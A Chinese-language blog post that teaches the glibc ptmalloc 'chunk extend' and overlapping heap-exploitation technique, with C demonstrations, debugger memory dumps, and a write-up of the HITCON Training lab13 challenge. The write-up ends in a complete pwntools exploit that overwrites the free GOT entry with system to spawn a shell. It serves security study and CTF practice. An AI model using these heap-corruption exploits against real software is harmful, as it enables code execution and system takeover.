获取中...

-

Just a minute...

Chunk Extend

条件

1.程序中存在堆的漏洞

2.漏洞可以控制chunk header中的数据

原理

ptmalloc中关于chunk的定义

1
2
3
4
5
6
7
8
9
10
11
struct malloc_chunk {

INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;

struct malloc_chunk* fd;
struct malloc_chunk* bk;

struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

当一个chunk为空闲时,至少要有prev_size、size、fd和bk四个参数,因此MINSIZE就代表了这四个参数需要占用的内存大小.而当一个chunk被使用时,prev_size可能会被前一个chunk用来存储,fd和bk也会被当作内存存储数据,因此当chunk被使用时,只剩下了size参数需要设置,request2size中的SIZE_SZ就是INTERNAL_SIZE_T类型的大小,因此至少需要req+SIZE_SZ的内存大小。MALLOC_ALIGN_MASK用来对齐,因此request2size就计算出了所需的chunk的大小。

所以ptmalloc通过chunk header的数据判断chunk的使用情况和对chunk的前后块进行定位,chunk extend就是通过控制size和pre_size域来实现跨越堆块操作从而导致overlapping

作用

一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。

此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。

比较常见的利用条件是off-by-one等堆漏洞。假设存在⼀个off-by-one 漏洞,我们目的是构造overlap chunk,则构造过程应该为:
步骤1:申请三个堆块A、B、C,假定它们的size分别为sizeA、sizeB、sizeC,向A中写入数据覆盖到B中的size域,将B的size改为sizeB+sizeC。
步骤2:把B块free掉,此时根据B块的size去找下⼀块chunk的header进行inused bit检查,这里C块是被使用的,所以可以通过检查,通过检查后,free掉的堆块会根据sizeB+sizeC的大小放到bins里面。
步骤3:把C块也free掉,然后malloc(sizeB+sizeC),将刚刚被放到bins里面的chunk分配出来,这个时候C这个chunk还是在bins上面的,通过刚刚分配的chunk就可以控制chunk C的fd指针,从而实现任意地址写。

对 inuse 的 fastbin 进行 extend

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<stdlib.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}

malloc之后堆内存布局

1
2
3
4
5
0x602000:   0x0000000000000000  0x0000000000000021 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk

修改chunk1之后

1
2
3
4
5
0x602000:   0x0000000000000000  0x0000000000000041 <=== 篡改大小
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1

当把chunk 1 size改为0x41(0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小),chunk 2被chunk 1包含进去,,当把chunk1释放时chunk2被一同释放,再申请一个比chunk1大的块就能直接控制chunk2(不要覆盖top chunk),称为 overlapping chunk。

对inuse的smallbin进行extend

处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。(fastbin 默认的最大的 chunk 可使用范围是 0x70)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个 0x80 的chunk1 大小 > fastbin
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并

*(int *)((int)ptr-0x8)=0xb1; // 修改第一个块的size域
free(ptr);
ptr1=malloc(0xa0);
}

malloc之后的堆内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x602000:   0x0000000000000000  0x00000000000000b1 <===chunk1 篡改size域
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000021 <=== 防止合并的chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk

释放后,chunk1 把 chunk2 的内容吞并掉并一起置入unsorted bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x602000:   0x0000000000000000  0x00000000000000b1 <=== 被放入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x00000000000000b0 0x0000000000000020 <=== 注意此处标记为空
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk

由于分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以需要额外分配一个 chunk,把释放的块与 top chunk 隔开。释放后,chunk1 把 chunk2 的内容吞并掉并一起置入 unsorted bin,再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时就可以控制 chunk2 中的内容。

对 free 的 smallbin 进行 extend

先释放 chunk1,然后再修改处于 unsorted bin 中的 chunk1 的size域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2

free(ptr);//首先进行释放,使得chunk1进入unsorted bin

*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}

malloc之后内存布局

1
2
3
4
5
6
7
8
9
10
11
12
0x602000:   0x0000000000000000  0x0000000000000091 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51

释放chunk1使它进入unsorted bin中

1
2
3
4
5
6
7
8
9
10
11
12
0x602000:   0x0000000000000000  0x0000000000000091 <=== 进入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk

篡改chunk1的size域

1
2
3
4
5
6
7
8
9
10
11
12
0x602000:   0x0000000000000000  0x00000000000000b1 <=== size域被篡改
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51

此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。

通过 extend 后向 overlapping

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1;

ptr=malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}

malloc(0x10)申请的都是fastbin。

在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack

通过 extend 前向 overlapping

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}

unlink目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)

当我们 free(small_chunk) 时

glibc 判断这个块是 small chunk

判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并

判断后向合并,发现后一个 chunk 处于空闲状态,需要合并

继而对 Nextchunk 采取 unlink 操作

glibc-2.26及以上这个漏洞不能实现的原因还是因为tcache机制,因为tcache为了速度考虑,所以不进行unlink操作

HITCON Trainging lab13

功能

1
2
3
4
5
6
7
8
9
10
11
12
13
int menu()
{
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}

分析

在create()中发现当输入size的时候调用atoi()的时候可以输入8个字符串,所以可以改写atoi_got为system_addr。

show()则是正常的打印内容。

delete()函数知识正常将chunk放入Bins,然后将指针归零,没有uaf漏洞。

漏洞点(deit)

1
2
3
4
5
6
if ( heaparray[v1] )
{
printf("Content of heap : ", &buf);
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL); //off by one
puts("Done !");
}

向data中写入len_of_data+1长度的数据,这里存在off by one

利用

利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,然后
申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。

思路

create两个chunk,用chunk0溢出到chunk1 的size位,然后free掉chunk1

申请一个新的chunk2,使得chunk2落在chunk1size的部分从而修改指针

改free的got表为system的地址,然后使得chunk0 的内容为/bin/sh,接着free(chunk0)从而getshell

创建两个大小为0x14的堆块,查看

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x603290
0x603290: 0x0000000000000000 0x0000000000000021 ===>chunk1
0x6032a0: 0x0000000000000014 0x00000000006032c0 指向
0x6032b0: 0x0000000000000000 0x0000000000000021 ===>chunk1数据
0x6032c0: 0x6161616161616161 0x6161616161616161 长度0x14
0x6032d0: 0x0000000061616161 0x0000000000000021 ===>chunk2
0x6032e0: 0x0000000000000014 0x0000000000603300
0x6032f0: 0x0000000000000000 0x0000000000000021 ===>chunk2数据
0x603300: 0x6262626262626262 0x6262626262626262 长度0x14
0x603310: 0x0000000062626262 0x0000000000020cf1 ===>top chunk
0x603320: 0x0000000000000000 0x0000000000000000

此时堆中保存的结构是

1
2
3
4
5
6
7
8
9
10
11
-----------------------------------------
chunk1 ========> | prev_size | size |
| len(data) | ptr |
| prev_size | size |
| data |
-----------------------------------------
chunk2 ========> | prev_size | size |
| len(data) | ptr |
| prev_size | size |
| data |
-----------------------------------------

如果我们数据的长度为0x18,调用edit_heap就可触发off-by-one覆盖下一堆块的prev_size

一个chunk在被free掉之后存在bins中,其头部含有prev_size和size,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了。

之后利用extend 后向 overlapping+fastbin实现

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
p=process('./heapcreator')
elf=ELF('./heapcreator')
lib=ELF('./libc.so.6')

def create(l,value):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.sendline(str(int(l)))
p.recvuntil('Content of heap:')
p.sendline(value)

def edit(index,value):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Content of heap : ')
p.sendline(value)

def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))

def delete(index):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(index))

#leak free addr
create(0x18,'aaaa')#0
create(0x10,'bbbb')#1
create(0x10,'cccc')#2
create(0x10,'/bin/sh')#3
edit(0,'a'*0x18+'\x81')
delete(1)
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)#1

show(2)
p.recvuntil('Content : ')
free_addr = u64(p.recvuntil('Done')[:-5].ljust(8,'\x00'))
success('free_addr = '+str(hex(free_addr)))

#trim free_got
system_addr = free_addr + lib.symbols['system']-lib.symbols['free']
success('system_addr = '+str(hex(system_addr)))

edit(2,p64(system_addr))
show(2)
delete(3)
p.interactive()
相关文章
评论
分享
  • Alloc to Stack&Arbitary Alloc

    Alloc to Stack和Arbitary Alloc都利用了fastbin链表的特性。 Alloc To Stack利用了fastbin链表的特性。当前的chunk的fd指向下一个chunk。Alloc To Stack核心...

    Alloc to Stack&Arbitary Alloc
  • House of Spirit

    House of Spirit针对fastbin,也是fastbin attach的一种。核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。 原理House of Spi...

    House of Spirit
  • Fastbin Double Free

    double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free, 利用条件Fastbin Double Free 能够成功利用主...

    Fastbin Double Free
Please check the parameter of comment in config.yml of hexo-theme-Annie!